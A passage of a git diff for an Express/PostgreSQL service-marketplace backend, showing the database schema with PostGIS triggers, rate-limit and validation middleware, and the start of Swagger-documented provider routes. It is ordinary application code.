UPDATE ON push_tokens - FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); - -DROP TRIGGER IF EXISTS update_jobs_updated_at ON jobs; -CREATE TRIGGER update_jobs_updated_at BEFORE UPDATE ON jobs - FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); - --- Triggers to sync geo_location from lat/lon -DROP TRIGGER IF EXISTS trg_sync_providers_geo_location ON providers; -CREATE TRIGGER trg_sync_providers_geo_location - BEFORE INSERT OR UPDATE OF latitude, longitude ON providers - FOR EACH ROW EXECUTE FUNCTION sync_providers_geo_location(); - -DROP TRIGGER IF EXISTS trg_sync_bookings_geo_location ON bookings; -CREATE TRIGGER trg_sync_bookings_geo_location - BEFORE INSERT OR UPDATE OF latitude, longitude ON bookings - FOR EACH ROW EXECUTE FUNCTION sync_bookings_geo_location(); - -DROP TRIGGER IF EXISTS trg_sync_user_locations_geo_location ON user_locations; -CREATE TRIGGER trg_sync_user_locations_geo_location - BEFORE INSERT OR UPDATE OF latitude, longitude ON user_locations - FOR EACH ROW EXECUTE FUNCTION sync_user_locations_geo_location(); - -DROP TRIGGER IF EXISTS trg_sync_jobs_geo_location ON jobs; -CREATE TRIGGER trg_sync_jobs_geo_location - BEFORE INSERT OR UPDATE OF latitude, longitude ON jobs - FOR EACH ROW EXECUTE FUNCTION sync_jobs_geo_location(); - -DROP TRIGGER IF EXISTS update_payments_updated_at ON payments; -CREATE TRIGGER update_payments_updated_at BEFORE UPDATE ON payments - FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); - -DROP TRIGGER IF EXISTS update_job_bids_updated_at ON job_bids; -CREATE TRIGGER update_job_bids_updated_at BEFORE UPDATE ON job_bids - FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); +-- HanoServices Database Schema +-- This single file defines the entire database schema. +-- To apply: npm run db:migrate (runs this file idempotently). + +-- Enable extensions +CREATE EXTENSION IF NOT EXISTS "uuid-ossp"; +CREATE EXTENSION IF NOT EXISTS postgis; + +-- Users table +CREATE TABLE IF NOT EXISTS users ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + username VARCHAR(30) UNIQUE NOT NULL, + phone VARCHAR(20) UNIQUE NOT NULL, + email VARCHAR(255) UNIQUE, + password VARCHAR(255), + role VARCHAR(20) NOT NULL CHECK (role IN ('customer', 'provider', 'admin')), + is_phone_verified BOOLEAN DEFAULT FALSE, + last_login TIMESTAMP, + email_notifications BOOLEAN DEFAULT TRUE, + sms_notifications BOOLEAN DEFAULT TRUE, + push_notifications BOOLEAN DEFAULT TRUE, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- Service Categories table +CREATE TABLE IF NOT EXISTS service_categories ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + name VARCHAR(100) UNIQUE NOT NULL, + description TEXT, + icon VARCHAR(255), + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- Providers table (extended) +CREATE TABLE IF NOT EXISTS providers ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + name VARCHAR(255) NOT NULL, + photo VARCHAR(500), + service_category_id UUID NOT NULL REFERENCES service_categories(id), + price_range_min DECIMAL(10, 2), + price_range_max DECIMAL(10, 2), + years_of_experience INTEGER, + availability VARCHAR(20) DEFAULT 'offline' CHECK (availability IN ('available', 'busy', 'offline')), + verification_status VARCHAR(20) DEFAULT 'pending' CHECK (verification_status IN ('pending', 'approved', 'rejected')), + is_verified BOOLEAN DEFAULT FALSE, + latitude DECIMAL(10, 8), + longitude DECIMAL(11, 8), + geo_location geography(Point, 4326), + address TEXT, + -- New fields from provider profile extensions + bio TEXT, + certifications TEXT[], + languages TEXT[], + availability_hours JSONB, + response_rate DECIMAL(5, 2) CHECK (response_rate >= 0 AND response_rate <= 100), + response_time_minutes INTEGER CHECK (response_time_minutes >= 0), + website VARCHAR(255), + social_links JSONB, + preferred_contact_method VARCHAR(20) CHECK (preferred_contact_method IN ('phone', 'email', 'whatsapp', 'sms')), + is_featured BOOLEAN DEFAULT FALSE, + featured_until TIMESTAMP, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- Provider Portfolio (work gallery) +CREATE TABLE IF NOT EXISTS provider_portfolios ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, + image_url VARCHAR(500) NOT NULL, + description TEXT, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- Bookings table (enhanced for appointments) +CREATE TABLE IF NOT EXISTS bookings ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + customer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, + service_category_id UUID NOT NULL REFERENCES service_categories(id), + status VARCHAR(20) DEFAULT 'pending' CHECK (status IN ('pending', 'accepted', 'declined', 'completed', 'cancelled')), + scheduled_date TIMESTAMP, + description TEXT, + latitude DECIMAL(10, 8), + longitude DECIMAL(11, 8), + geo_location geography(Point, 4326), + address TEXT, + notes TEXT, + image_url TEXT, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- User Locations table (tracking) +CREATE TABLE IF NOT EXISTS user_locations ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + latitude DECIMAL(10, 8), + longitude DECIMAL(11, 8), + geo_location geography(Point, 4326), + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- Reviews table +CREATE TABLE IF NOT EXISTS reviews ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + booking_id UUID NOT NULL REFERENCES bookings(id) ON DELETE CASCADE, + customer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, + rating INTEGER NOT NULL CHECK (rating >= 1 AND rating <= 5), + comment TEXT, + proof_images TEXT[], -- Array of image URLs + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- Verification Requests table +CREATE TABLE IF NOT EXISTS verification_requests ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, + id_document VARCHAR(500), + certificates TEXT[], -- Array of certificate URLs + provider_references TEXT[], -- Array of reference information + status VARCHAR(20) DEFAULT 'pending' CHECK (status IN ('pending', 'approved', 'rejected')), + admin_notes TEXT, + reviewed_by UUID REFERENCES users(id), + reviewed_at TIMESTAMP, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- OTP table (for phone verification) +CREATE TABLE IF NOT EXISTS otps ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + phone VARCHAR(20) NOT NULL, + code VARCHAR(6) NOT NULL, + expires_at TIMESTAMP NOT NULL, + is_used BOOLEAN DEFAULT FALSE, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- Push Tokens table (for Expo push notifications) +CREATE TABLE IF NOT EXISTS push_tokens ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + token VARCHAR(255) NOT NULL, + platform VARCHAR(20) NOT NULL CHECK (platform IN ('ios', 'android', 'web')), + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + UNIQUE (user_id, token) +); + +-- Jobs table (for job posting feature) +CREATE TABLE IF NOT EXISTS jobs ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + customer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + service_category_id UUID NOT NULL REFERENCES service_categories(id), + title VARCHAR(255) NOT NULL, + description TEXT, + budget DECIMAL(10, 2), + location_address TEXT, + latitude DECIMAL(10, 8), + longitude DECIMAL(11, 8), + geo_location geography(Point, 4326), + deadline TIMESTAMP, + status VARCHAR(20) DEFAULT 'open' CHECK (status IN ('open', 'assigned', 'in_progress', 'completed', 'cancelled')), + assigned_provider_id UUID REFERENCES providers(id), + assigned_at TIMESTAMP, + completed_at TIMESTAMP, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +-- Indexes for performance +CREATE INDEX IF NOT EXISTS idx_users_username ON users(username); +CREATE INDEX IF NOT EXISTS idx_users_phone ON users(phone); +CREATE INDEX IF NOT EXISTS idx_users_role ON users(role); +CREATE INDEX IF NOT EXISTS idx_providers_user_id ON providers(user_id); +CREATE INDEX IF NOT EXISTS idx_providers_category ON providers(service_category_id); +CREATE INDEX IF NOT EXISTS idx_providers_location ON providers(latitude, longitude); +CREATE INDEX IF NOT EXISTS idx_providers_geo_location ON providers USING GIST (geo_location); +CREATE INDEX IF NOT EXISTS idx_providers_availability ON providers(availability); +CREATE INDEX IF NOT EXISTS idx_providers_verification ON providers(verification_status); +CREATE INDEX IF NOT EXISTS idx_providers_is_featured ON providers(is_featured) WHERE is_featured = TRUE; +CREATE INDEX IF NOT EXISTS idx_providers_featured_until ON providers(featured_until) WHERE featured_until IS NOT NULL; +CREATE INDEX IF NOT EXISTS idx_providers_response_rate ON providers(response_rate); +CREATE INDEX IF NOT EXISTS idx_providers_preferred_contact ON providers(preferred_contact_method); +CREATE INDEX IF NOT EXISTS idx_providers_languages ON providers USING GIN (languages); +CREATE INDEX IF NOT EXISTS idx_providers_certifications ON providers USING GIN (certifications); +CREATE INDEX IF NOT EXISTS idx_bookings_scheduled_date ON bookings(scheduled_date) WHERE scheduled_date IS NOT NULL; +CREATE INDEX IF NOT EXISTS idx_bookings_customer ON bookings(customer_id); +CREATE INDEX IF NOT EXISTS idx_bookings_provider ON bookings(provider_id); +CREATE INDEX IF NOT EXISTS idx_bookings_status ON bookings(status); +CREATE INDEX IF NOT EXISTS idx_bookings_geo_location ON bookings USING GIST (geo_location); +CREATE INDEX IF NOT EXISTS idx_reviews_provider ON reviews(provider_id); +CREATE INDEX IF NOT EXISTS idx_otps_phone ON otps(phone); +CREATE INDEX IF NOT EXISTS idx_otps_expires ON otps(expires_at); +CREATE INDEX IF NOT EXISTS idx_user_locations_user_id ON user_locations(user_id); +CREATE INDEX IF NOT EXISTS idx_user_locations_geo_location ON user_locations USING GIST (geo_location); +CREATE INDEX IF NOT EXISTS idx_user_locations_created_at ON user_locations(created_at); +CREATE INDEX IF NOT EXISTS idx_push_tokens_user_id ON push_tokens(user_id); +CREATE INDEX IF NOT EXISTS idx_jobs_customer_id ON jobs(customer_id); +CREATE INDEX IF NOT EXISTS idx_jobs_status ON jobs(status); +CREATE INDEX IF NOT EXISTS idx_jobs_service_category ON jobs(service_category_id); +CREATE INDEX IF NOT EXISTS idx_jobs_geo_location ON jobs USING GIST (geo_location); +CREATE INDEX IF NOT EXISTS idx_jobs_deadline ON jobs(deadline) WHERE deadline IS NOT NULL; + +-- Payments table +CREATE TABLE IF NOT EXISTS payments ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + reference VARCHAR(255) UNIQUE NOT NULL, + customer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + provider_id UUID REFERENCES providers(id) ON DELETE SET NULL, + booking_id UUID REFERENCES bookings(id) ON DELETE SET NULL, + job_id UUID REFERENCES jobs(id) ON DELETE SET NULL, + amount DECIMAL(10, 2) NOT NULL, + currency VARCHAR(10) NOT NULL DEFAULT 'RWF', + status VARCHAR(20) DEFAULT 'pending' CHECK (status IN ('pending', 'successful', 'failed')), + metadata JSONB, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +CREATE INDEX IF NOT EXISTS idx_payments_reference ON payments(reference); +CREATE INDEX IF NOT EXISTS idx_payments_customer ON payments(customer_id); +CREATE INDEX IF NOT EXISTS idx_payments_status ON payments(status); + +-- Job Bids table +CREATE TABLE IF NOT EXISTS job_bids ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + job_id UUID NOT NULL REFERENCES jobs(id) ON DELETE CASCADE, + provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, + bid_amount DECIMAL(10, 2) NOT NULL, + proposal_text TEXT, + status VARCHAR(20) DEFAULT 'pending' CHECK (status IN ('pending', 'accepted', 'rejected', 'withdrawn')), + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + UNIQUE (job_id, provider_id) +); + +CREATE INDEX IF NOT EXISTS idx_job_bids_job ON job_bids(job_id); +CREATE INDEX IF NOT EXISTS idx_job_bids_provider ON job_bids(provider_id); +CREATE INDEX IF NOT EXISTS idx_job_bids_status ON job_bids(status); + +-- Refresh Tokens table +CREATE TABLE IF NOT EXISTS refresh_tokens ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), + user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + token_hash VARCHAR(255) UNIQUE NOT NULL, + expires_at TIMESTAMP NOT NULL, + revoked BOOLEAN DEFAULT FALSE, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP +); + +CREATE INDEX IF NOT EXISTS idx_refresh_tokens_hash ON refresh_tokens(token_hash); +CREATE INDEX IF NOT EXISTS idx_refresh_tokens_user ON refresh_tokens(user_id); + +-- Functions to update updated_at timestamp +CREATE OR REPLACE FUNCTION update_updated_at_column() +RETURNS TRIGGER AS $$ +BEGIN + NEW.updated_at = CURRENT_TIMESTAMP; + RETURN NEW; +END; +$$ language 'plpgsql'; + +-- Functions to sync geo_location from lat/lon +CREATE OR REPLACE FUNCTION sync_providers_geo_location() +RETURNS TRIGGER AS $$ +BEGIN + IF NEW.latitude IS NOT NULL AND NEW.longitude IS NOT NULL THEN + NEW.geo_location := ST_SetSRID(ST_MakePoint(NEW.longitude, NEW.latitude), 4326)::geography; + ELSE + NEW.geo_location := NULL; + END IF; + RETURN NEW; +END; +$$ language 'plpgsql'; + +CREATE OR REPLACE FUNCTION sync_bookings_geo_location() +RETURNS TRIGGER AS $$ +BEGIN + IF NEW.latitude IS NOT NULL AND NEW.longitude IS NOT NULL THEN + NEW.geo_location := ST_SetSRID(ST_MakePoint(NEW.longitude, NEW.latitude), 4326)::geography; + ELSE + NEW.geo_location := NULL; + END IF; + RETURN NEW; +END; +$$ language 'plpgsql'; + +CREATE OR REPLACE FUNCTION sync_user_locations_geo_location() +RETURNS TRIGGER AS $$ +BEGIN + IF NEW.latitude IS NOT NULL AND NEW.longitude IS NOT NULL THEN + NEW.geo_location := ST_SetSRID(ST_MakePoint(NEW.longitude, NEW.latitude), 4326)::geography; + ELSE + NEW.geo_location := NULL; + END IF; + RETURN NEW; +END; +$$ language 'plpgsql'; + +CREATE OR REPLACE FUNCTION sync_jobs_geo_location() +RETURNS TRIGGER AS $$ +BEGIN + IF NEW.latitude IS NOT NULL AND NEW.longitude IS NOT NULL THEN + NEW.geo_location := ST_SetSRID(ST_MakePoint(NEW.longitude, NEW.latitude), 4326)::geography; + ELSE + NEW.geo_location := NULL; + END IF; + RETURN NEW; +END; +$$ language 'plpgsql'; + +-- Triggers to auto-update updated_at +DROP TRIGGER IF EXISTS update_users_updated_at ON users; +CREATE TRIGGER update_users_updated_at BEFORE UPDATE ON users + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); + +DROP TRIGGER IF EXISTS update_providers_updated_at ON providers; +CREATE TRIGGER update_providers_updated_at BEFORE UPDATE ON providers + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); + +DROP TRIGGER IF EXISTS update_bookings_updated_at ON bookings; +CREATE TRIGGER update_bookings_updated_at BEFORE UPDATE ON bookings + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); + +DROP TRIGGER IF EXISTS update_reviews_updated_at ON reviews; +CREATE TRIGGER update_reviews_updated_at BEFORE UPDATE ON reviews + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); + +DROP TRIGGER IF EXISTS update_verification_requests_updated_at ON verification_requests; +CREATE TRIGGER update_verification_requests_updated_at BEFORE UPDATE ON verification_requests + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); + +DROP TRIGGER IF EXISTS update_push_tokens_updated_at ON push_tokens; +CREATE TRIGGER update_push_tokens_updated_at BEFORE UPDATE ON push_tokens + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); + +DROP TRIGGER IF EXISTS update_jobs_updated_at ON jobs; +CREATE TRIGGER update_jobs_updated_at BEFORE UPDATE ON jobs + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); + +-- Triggers to sync geo_location from lat/lon +DROP TRIGGER IF EXISTS trg_sync_providers_geo_location ON providers; +CREATE TRIGGER trg_sync_providers_geo_location + BEFORE INSERT OR UPDATE OF latitude, longitude ON providers + FOR EACH ROW EXECUTE FUNCTION sync_providers_geo_location(); + +DROP TRIGGER IF EXISTS trg_sync_bookings_geo_location ON bookings; +CREATE TRIGGER trg_sync_bookings_geo_location + BEFORE INSERT OR UPDATE OF latitude, longitude ON bookings + FOR EACH ROW EXECUTE FUNCTION sync_bookings_geo_location(); + +DROP TRIGGER IF EXISTS trg_sync_user_locations_geo_location ON user_locations; +CREATE TRIGGER trg_sync_user_locations_geo_location + BEFORE INSERT OR UPDATE OF latitude, longitude ON user_locations + FOR EACH ROW EXECUTE FUNCTION sync_user_locations_geo_location(); + +DROP TRIGGER IF EXISTS trg_sync_jobs_geo_location ON jobs; +CREATE TRIGGER trg_sync_jobs_geo_location + BEFORE INSERT OR UPDATE OF latitude, longitude ON jobs + FOR EACH ROW EXECUTE FUNCTION sync_jobs_geo_location(); + +DROP TRIGGER IF EXISTS update_payments_updated_at ON payments; +CREATE TRIGGER update_payments_updated_at BEFORE UPDATE ON payments + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); + +DROP TRIGGER IF EXISTS update_job_bids_updated_at ON job_bids; +CREATE TRIGGER update_job_bids_updated_at BEFORE UPDATE ON job_bids + FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); diff --git a/src/middleware/rateLimit.ts b/src/middleware/rateLimit.ts index 7506791..24ad322 100644 --- a/src/middleware/rateLimit.ts +++ b/src/middleware/rateLimit.ts @@ -1,32 +1,32 @@ -import rateLimit from 'express-rate-limit'; - -/** - * Rate limiter for authentication-related endpoints - * - Protects against brute-force login / OTP abuse - */ -export const authRateLimiter = rateLimit({ - windowMs: 15 * 60 * 1000, // 15 minutes - max: 20, // limit each IP to 20 auth requests per window - standardHeaders: true, - legacyHeaders: false, - message: { - status: 'error', - message: 'Too many authentication attempts from this IP, please try again later.', - }, -}); - -/** - * Generic limiter for write-heavy endpoints (creating resources) - * - Apply to POST/PUT/PATCH/DELETE routes that create or modify data - */ -export const createResourceLimiter = rateLimit({ - windowMs: 1 * 60 * 1000, // 1 minute - max: 30, // limit each IP to 30 write requests per window - standardHeaders: true, - legacyHeaders: false, - message: { - status: 'error', - message: 'Too many write operations from this IP, please slow down.', - }, -}); - +import rateLimit from 'express-rate-limit'; + +/** + * Rate limiter for authentication-related endpoints + * - Protects against brute-force login / OTP abuse + */ +export const authRateLimiter = rateLimit({ + windowMs: 15 * 60 * 1000, // 15 minutes + max: 20, // limit each IP to 20 auth requests per window + standardHeaders: true, + legacyHeaders: false, + message: { + status: 'error', + message: 'Too many authentication attempts from this IP, please try again later.', + }, +}); + +/** + * Generic limiter for write-heavy endpoints (creating resources) + * - Apply to POST/PUT/PATCH/DELETE routes that create or modify data + */ +export const createResourceLimiter = rateLimit({ + windowMs: 1 * 60 * 1000, // 1 minute + max: 30, // limit each IP to 30 write requests per window + standardHeaders: true, + legacyHeaders: false, + message: { + status: 'error', + message: 'Too many write operations from this IP, please slow down.', + }, +}); + diff --git a/src/middleware/validation.ts b/src/middleware/validation.ts index ed200ca..0460b0e 100644 --- a/src/middleware/validation.ts +++ b/src/middleware/validation.ts @@ -1,22 +1,22 @@ -import { Request, Response, NextFunction } from 'express'; -import { validationResult, ValidationChain } from 'express-validator'; - -/** - * Validation middleware - */ -export const validate = (validations: ValidationChain[]) => { - return async (req: Request, res: Response, next: NextFunction) => { - await Promise.all(validations.map((validation) => validation.run(req))); - - const errors = validationResult(req); - if (errors.isEmpty()) { - return next(); - } - - res.status(400).json({ - status: 'error', - message: 'Validation failed', - errors: errors.array(), - }); - }; -}; +import { Request, Response, NextFunction } from 'express'; +import { validationResult, ValidationChain } from 'express-validator'; + +/** + * Validation middleware + */ +export const validate = (validations: ValidationChain[]) => { + return async (req: Request, res: Response, next: NextFunction) => { + await Promise.all(validations.map((validation) => validation.run(req))); + + const errors = validationResult(req); + if (errors.isEmpty()) { + return next(); + } + + res.status(400).json({ + status: 'error', + message: 'Validation failed', + errors: errors.array(), + }); + }; +}; diff --git a/src/routes/provider.routes.ts b/src/routes/provider.routes.ts index ba20957..cec2c8b 100644 --- a/src/routes/provider.routes.ts +++ b/src/routes/provider.routes.ts @@ -1,805 +1,806 @@ -import { Router } from 'express'; -import { ProviderController } from '../controllers/provider.controller'; -import { authenticate, authorize } from '../middleware/auth'; -import { UserRole } from '../types'; -import { createResourceLimiter } from '../middleware/rateLimit'; -import { upload } from '../middleware/upload'; - -const router = Router(); - -/** - * @swagger - * /api/providers/search: - * get: - * summary: Search providers with filters - * tags: [Providers] - * parameters: - * - in: query - * name: serviceCategoryId - * schema: - * type: string - * format: uuid - * description: Filter by service category - * - in: query - * name: latitude - * schema: - * type: number - * format: float - * description: User latitude for distance calculation - * - in: query - * name: longitude - * schema: - * type: number - * format: float - * description: User longitude for distance calculation - * - in: query - * name: maxDistance - * schema: - * type: number - * format: float - * description: Maximum distance in kilometers - * - in: query - * name: minRating - * schema: - * type: number - * format: float - * minimum: 0 - * maximum: 5 - * description: Minimum rating - * - in: query - * name: minPrice - * schema: - * type: number - * format: float - * description: Minimum price - * - in: query - * name: maxPrice - * schema: - * type: number - * format: float - * description: Maximum price - * - in: query - * name: availability - * schema: - * type: string - * enum: [available, busy, offline] - * description: Filter by availability status - * - in: query - * name: isVerified - * schema: - * type: boolean - * description: Filter by verification status - * - in: query - * name: limit - * schema: - * type: integer - * minimum: 1 - * maximum: 100 - * default: 20 - * description: Number of results to return - * - in: query - * name: offset - * schema: - * type: integer - * minimum: 0 - * default: 0 - * description: Number of results to skip - * responses: - * 200: - * description: List of providers matching the search criteria - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * type: array - * items: - * $ref: '#/components/schemas/Provider' - * count: - * type: integer - * example: 10 - * 400: - * $ref: '#/components/responses/BadRequest' - */ -router.get('/search', ProviderController.search); - -/** - * @swagger - * /api/providers/{id}: - * get: - * summary: Get provider profile by ID - * tags: [Providers] - * parameters: - * - in: path - * name: id - * required: true - * schema: - * type: string - * format: uuid - * description: Provider ID - * responses: - * 200: - * description: Provider profile details - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * $ref: '#/components/schemas/Provider' - * 404: - * description: Provider not found - * content: - * application/json: - * schema: - * $ref: '#/components/schemas/Error' - */ -router.get('/:id', ProviderController.getById); - -/** - * @swagger - * /api/providers/{id}/portfolio: - * get: - * summary: Get provider portfolio images - * tags: [Providers] - * parameters: - * - in: path - * name: id - * required: true - * schema: - * type: string - * format: uuid - * description: Provider ID - * responses: - * 200: - * description: List of portfolio images - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * type: array - * items: - * $ref: '#/components/schemas/PortfolioImage' - * 400: - * $ref: '#/components/responses/BadRequest' - */ -router.get('/:id/portfolio', ProviderController.getPortfolio); - -/** - * @swagger - * /api/providers: - * post: - * summary: Create provider profile (Provider only) - * tags: [Providers] - * security: - * - bearerAuth: [] - * requestBody: - * required: true - * content: - * multipart/form-data: - * schema: - * type: object - * required: - * - name - * - serviceCategoryId - * properties: - * name: - * type: string - * example: "John Doe" - * serviceCategoryId: - * type: string - * format: uuid - * example: "123e4567-e89b-12d3-a456-426614174000" - * photo: - * type: string - * format: binary - * priceRangeMin: - * type: number - * example: 10000 - * priceRangeMax: - * type: number - * example: 50000 - * yearsOfExperience: - * type: integer - * example: 5 - * latitude: - * type: number - * format: float - * example: -1.9441 - * longitude: - * type: number - * format: float - * example: 30.0619 - * address: - * type: string - * example: "Kigali, Rwanda" - * bio: - * type: string - * example: "Experienced plumber specializing in residential installations." - * certifications: - * type: array - * items: - * type: string - * example: ["Certified Plumber", "Safety Training 2023"] - * languages: - * type: array - * items: - * type: string - * example: ["English", "French", "Kinyarwanda"] - * availabilityHours: - * type: object - * example: - * mon: { open: "08:00", close: "17:00" } - * tue: { open: "08:00", close: "17:00" } - * responseRate: - * type: number - * format: float - * minimum: 0 - * maximum: 100 - * example: 95.5 - * responseTimeMinutes: - * type: integer - * minimum: 0 - * example: 30 - * website: - * type: string - * format: uri - * example: "https://johndoe-plumbing.rw" - * socialLinks: - * type: object - * example: - * twitter: "https://twitter.com/johndoe" - * linkedin: "https://linkedin.com/in/johndoe" - * preferredContactMethod: - * type: string - * enum: [phone, email, whatsapp, sms] - * example: "whatsapp" - * isFeatured: - * type: boolean - * example: false - * featuredUntil: - * type: string - * format: date-time - * example: "2025-03-01T00:00:00Z" - * application/json: - * schema: - * type: object - * required: - * - name - * - serviceCategoryId - * properties: - * name: - * type: string - * example: "John Doe" - * serviceCategoryId: - * type: string - * format: uuid - * example: "123e4567-e89b-12d3-a456-426614174000" - * photo: - * type: string - * format: uri - * example: "https://example.com/photo.jpg" - * priceRangeMin: - * type: number - * example: 10000 - * priceRangeMax: - * type: number - * example: 50000 - * yearsOfExperience: - * type: integer - * example: 5 - * latitude: - * type: number - * format: float - * example: -1.9441 - * longitude: - * type: number - * format: float - * example: 30.0619 - * address: - * type: string - * example: "Kigali, Rwanda" - * responses: - * 201: - * description: Provider profile created successfully - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * $ref: '#/components/schemas/Provider' - * 400: - * $ref: '#/components/responses/BadRequest' - * 401: - * $ref: '#/components/responses/Unauthorized' - * 403: - * $ref: '#/components/responses/Forbidden' - */ -router.post( - '/', - createResourceLimiter, - authenticate, - authorize(UserRole.PROVIDER), - upload.single('photo'), - ProviderController.create -); - -/** - * @swagger - * /api/providers/me/profile: - * get: - * summary: Get current user's provider profile (Provider only) - * tags: [Providers] - * security: - * - bearerAuth: [] - * responses: - * 200: - * description: Provider profile details - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * $ref: '#/components/schemas/Provider' - * 401: - * $ref: '#/components/responses/Unauthorized' - * 403: - * $ref: '#/components/responses/Forbidden' - * 404: - * description: Provider profile not found - * content: - * application/json: - * schema: - * $ref: '#/components/schemas/Error' - */ -router.get('/me/profile', authenticate, authorize(UserRole.PROVIDER), ProviderController.getMyProfile); - -/** - * @swagger - * /api/providers/me/stats: - * get: - * summary: Get current user's provider statistics (Provider only) - * tags: [Providers] - * security: - * - bearerAuth: [] - * responses: - * 200: - * description: Provider statistics - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * type: object - * properties: - * jobsDone: - * type: integer - * pendingJobs: - * type: integer - * activeJobs: - * type: integer - * earnings: - * type: number - * averageRating: - * type: number - * 401: - * $ref: '#/components/responses/Unauthorized' - * 403: - * $ref: '#/components/responses/Forbidden' - */ -router.get('/me/stats', authenticate, authorize(UserRole.PROVIDER), ProviderController.getStats); - -/** - * @swagger - * /api/providers/{id}: - * put: - * summary: Update provider profile (Provider only) - * tags: [Providers] - * security: - * - bearerAuth: [] - * parameters: - * - in: path - * name: id - * required: true - * schema: - * type: string - * format: uuid - * description: Provider ID - * requestBody: - * required: true - * content: - * multipart/form-data: - * schema: - * type: object - * properties: - * name: - * type: string - * example: "John Doe" - * photo: - * type: string - * format: binary - * serviceCategoryId: - * type: string - * format: uuid - * priceRangeMin: - * type: number - * example: 10000 - * priceRangeMax: - * type: number - * example: 50000 - * yearsOfExperience: - * type: integer - * example: 5 - * latitude: - * type: number - * format: float - * example: -1.9441 - * longitude: - * type: number - * format: float - * example: 30.0619 - * address: - * type: string - * example: "Kigali, Rwanda" - * application/json: - * schema: - * type: object - * properties: - * name: - * type: string - * example: "John Doe" - * photo: - * type: string - * format: uri - * example: "https://example.com/photo.jpg" - * serviceCategoryId: - * type: string - * format: uuid - * priceRangeMin: - * type: number - * example: 10000 - * priceRangeMax: - * type: number - * example: 50000 - * yearsOfExperience: - * type: integer - * example: 5 - * latitude: - * type: number - * format: float - * example: -1.9441 - * longitude: - * type: number - * format: float - * example: 30.0619 - * address: - * type: string - * example: "Kigali, Rwanda" - * responses: - * 200: - * description: Provider profile updated successfully - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * $ref: '#/components/schemas/Provider' - * 400: - * $ref: '#/components/responses/BadRequest' - * 401: - * $ref: '#/components/responses/Unauthorized' - * 403: - * $ref: '#/components/responses/Forbidden' - */ -router.put( - '/:id', - authenticate, - 